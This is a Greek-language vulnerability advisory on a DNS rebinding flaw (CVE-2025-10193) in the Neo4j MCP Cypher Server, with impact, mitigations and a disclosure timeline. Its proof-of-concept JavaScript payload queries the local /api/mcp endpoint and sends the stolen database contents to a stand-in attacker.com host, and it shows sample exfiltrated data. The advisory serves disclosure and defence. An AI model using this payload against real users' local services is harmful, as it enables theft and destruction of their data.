Ο διακομιστής Neo4j MCP Cypher είναι ευάλωτος σε κατάληψη της βάσης δεδομένων μέσω DNS rebinding
Συντάκτης: Evan Harris
Επηρεαζόμενο στοιχείο: Neo4j MCP Cypher Server
Ευάλωτες εκδόσεις: 0.2.2 έως 0.3.1
CVE: CVE-2025-10193
Βαθμολογία CVSS 4.0: 7.4 (Υψηλή) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Επισκόπηση
Ο διακομιστής Neo4j MCP Cypher παρέχει ένα HTTP endpoint για την εκτέλεση ερωτημάτων Cypher κατά μιας βάσης δεδομένων Neo4j.
Η MCPSec ανακάλυψε μια ευπάθεια DNS rebinding στον διακομιστή, η οποία επιτρέπει σε απομακρυσμένους επιτιθέμενους να παρακάμπτουν τις πολιτικές ασφαλείας του προγράμματος περιήγησης και να εκτελούν αυθαίρετα ερωτήματα Cypher κατά της προσβάσιμης μέσω MCP εγκατάστασης της βάσης δεδομένων.
Η Neo4j διόρθωσε αυτό το ζήτημα στην έκδοση v0.4.0. Όλοι οι χρήστες των επηρεαζόμενων εκδόσεων θα πρέπει να ενημερωθούν άμεσα.
Αντίκτυπος
Οι επιτιθέμενοι αποκτούν πλήρη πρόσβαση POST στο endpoint /api/mcp που εξυπηρετείται από τον τοπικό διακομιστή Neo4j MCP Cypher.
Αυτό επιτρέπει τη μη εξουσιοδοτημένη εκτέλεση οποιουδήποτε ερωτήματος Cypher, δίνοντας ουσιαστικά στον επιτιθέμενο πλήρη διαχειριστικό έλεγχο της βάσης δεδομένων Neo4j. Αυτό μπορεί να οδηγήσει σε:
- Πλήρη εξαγωγή δεδομένων ευαίσθητων πληροφοριών που είναι αποθηκευμένες στη βάση δεδομένων.
- Μη εξουσιοδοτημένη τροποποίηση δεδομένων ή αλλοίωσή τους.
- Διαγραφή δεδομένων και άρνηση εξυπηρέτησης.
Η επίθεση DNS rebinding μπορεί να εκτελεστεί μέσα σε δευτερόλεπτα από τη στιγμή που το θύμα επισκέπτεται έναν κακόβουλο ιστότοπο, απαιτώντας μόνο να εκτελείται τοπικά ο ευάλωτος διακομιστής.
Proof of Concept
Το σενάριο της επίθεσης προϋποθέτει ότι:
- Το θύμα εκτελεί μια ευάλωτη έκδοση του διακομιστή Neo4j MCP Cypher στον τοπικό του υπολογιστή.
- Το θύμα πλοηγείται σε έναν κακόβουλο ιστότοπο που ελέγχεται από τον επιτιθέμενο.
- Ο ιστότοπος εκτελεί μια επίθεση DNS rebinding, ξεγελώντας το πρόγραμμα περιήγησης του θύματος ώστε να στέλνει εντολές στον διακομιστή Neo4j.
Αφού ολοκληρωθεί το rebinding, ο επιτιθέμενος μπορεί να χρησιμοποιήσει το πρόγραμμα περιήγησης του θύματος για να στείλει κακόβουλα ερωτήματα Cypher στο τοπικά εξυπηρετούμενο endpoint /api/mcp. Στη συνέχεια, τα δεδομένα μπορούν να εξαχθούν στον διακομιστή του επιτιθέμενου, ή μπορεί να πραγματοποιηθεί τροποποίηση και διαγραφή δεδομένων.
Η MCPSec πραγματοποίησε μια επίθεση proof of concept ακολουθώντας τα εξής βήματα:
-
Αναπτύξτε μια εφαρμογή DNS rebinding (π.χ. Singularity of Origin).
-
Κατασκευάστε ένα payload JavaScript που εξυπηρετείται από τον κακόβουλο ιστότοπο για την εκτέλεση ενός ερωτήματος και την εξαγωγή των δεδομένων.
const Neo4jRebind = () => {
// The core attack function. It sends a malicious Cypher query.
function attack(headers, cookie, body) {
const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
fetch('http://localhost:8000/api/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/event-stream',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache'
},
body: JSON.stringify({ query: maliciousQuery })
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
response.text().then(databaseContents => {
// Send the stolen database contents to the attacker's server
fetch(ATTACKER_SERVER, {
method: 'POST',
body: JSON.stringify(databaseContents)
});
}).catch(e => console.error('Failed to parse Neo4j response', e));
}).catch(e => console.error("Failed to post Cypher query", e));
}
// Function to check if the rebound service is the target Neo4j server
async function isService(headers, cookie, body) {
try {
const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
// A successful ping (even opaque) suggests the port is open.
return true;
} catch (e) {
return false;
}
}
return {
attack,
isService
}
}
Registry["Neo4jRebind"] = Neo4jRebind();
- Εκτελέστε έναν διακομιστή συλλογής δεδομένων για να λάβετε το αίτημα POST που περιέχει το κλεμμένο περιεχόμενο της βάσης δεδομένων.
Παρακάτω παρατίθεται ένα παράδειγμα των δεδομένων JSON που εξήχθησαν από τη βάση δεδομένων ενός θύματος, τα οποία περιέχουν δυνητικά ευαίσθητες πληροφορίες χρηστών.
{
"results": [
{
"columns": ["n"],
"data": [
{
"row": [
{
"name": "Evan Harris",
"email": "evan.harris@example.com",
"role": "admin",
"password_hash": "sha256:abc123def456..."
}
],
"meta": [{...}]
},
{
"row": [
{
"project": "Project Titan",
"api_key": "neo-secret-key-xyz789",
"status": "active"
}
],
"meta": [{...}]
}
]
}
],
"errors": []
}
Συνιστώμενα μέτρα μετριασμού
Για τους χρήστες (άμεσα)
- Ενημερώστε άμεσα το
mcp-neo4j-cypherστην έκδοση v0.4.0 ή νεότερη. Αυτή η έκδοση περιέχει το patch που επικυρώνει την HTTP κεφαλίδαHostγια να αποτρέψει αυτήν την επίθεση. - Εάν δεν μπορείτε να ενημερώσετε, μεταβείτε από HTTP σε stdio. Εναλλακτικά, τοποθετήστε ένα φίλτρο αιτημάτων δικτύου μπροστά από τον διακομιστή σας Neo4j Cypher MCP για να αμυνθείτε έναντι μη έγκυρων κεφαλίδων Host.
Αυτή η ευπάθεια αναφέρθηκε στην ομάδα της Neo4j μέσω πρακτικών υπεύθυνης γνωστοποίησης. Η ομάδα αντέδρασε γρήγορα για να επαληθεύσει και να διορθώσει το ζήτημα.
Χρονολόγιο γνωστοποίησης
- 2025-09-08: Η Neo4j επιβεβαιώνει τη λήψη της αναφοράς.
- 2025-09-09: Η Neo4j αναγνωρίζει τον κίνδυνο από το διάνυσμα επίθεσης.
- 2025-09-09: Παρέχονται λεπτομερείς οδηγίες και παραδείγματα αποκατάστασης στην ομάδα της Neo4j.
- 2025-09-09: Η Neo4j υποβάλλει ένα pull request με αμυντικά μέτρα.
- 2025-09-11: Κυκλοφορεί η διορθωμένη έκδοση v0.4.0.
- 2025-09-11: Εκδίδεται το CVE-2025-10193 και δημοσιεύεται το GitHub Security Advisory.
- 2025-09-12: Συμφωνείται η ημερομηνία δημοσίευσης του τεχνικού δελτίου.
- 2025-10-13: Δημοσιεύεται το τεχνικό δελτίο.
Συμπέρασμα
Η ευπάθεια DNS rebinding στον διακομιστή Neo4j MCP Cypher υπογραμμίζει τον υψηλό κίνδυνο ασφαλείας για εργαλεία προγραμματιστών που εκθέτουν τοπικές διεπαφές βάσεων δεδομένων. Παρέχοντας ισχυρή τοπική λειτουργικότητα, τέτοιες υπηρεσίες μπορούν να γίνουν πύλη για επιθέσεις μέσω διαδικτύου εάν δεν είναι σωστά ασφαλισμένες. Αυτό μπορεί να οδηγήσει στην πλήρη παραβίαση ευαίσθητων δεδομένων.
Συγχαρητήρια στην ομάδα της Neo4j για την επαγγελματική και ταχεία αντίδρασή της στη διόρθωση αυτής της ευπάθειας. Όλοι οι χρήστες του επηρεαζόμενου στοιχείου θα πρέπει να ενημερωθούν στην τελευταία έκδοση για να διασφαλίσουν την προστασία των δεδομένων τους.